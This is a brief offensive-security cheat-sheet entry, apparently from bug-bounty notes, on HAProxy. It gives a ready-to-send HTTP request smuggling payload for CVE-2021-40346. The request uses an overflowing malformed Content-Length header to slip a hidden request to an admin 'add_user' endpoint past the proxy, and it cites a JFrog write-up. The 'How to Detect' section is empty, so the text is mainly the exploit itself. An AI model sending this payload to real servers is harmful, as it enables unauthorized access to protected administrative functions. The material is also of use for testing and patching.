# HAProxy Common Bugs

## Introduction
What would you do if you came across a website that uses HAProxy?

## How to Detect
-

1. CVE-2021-40346 (HTTP Request Smuggling)
```
POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60
 
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz
```

Source: 
- [JFrog](https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/)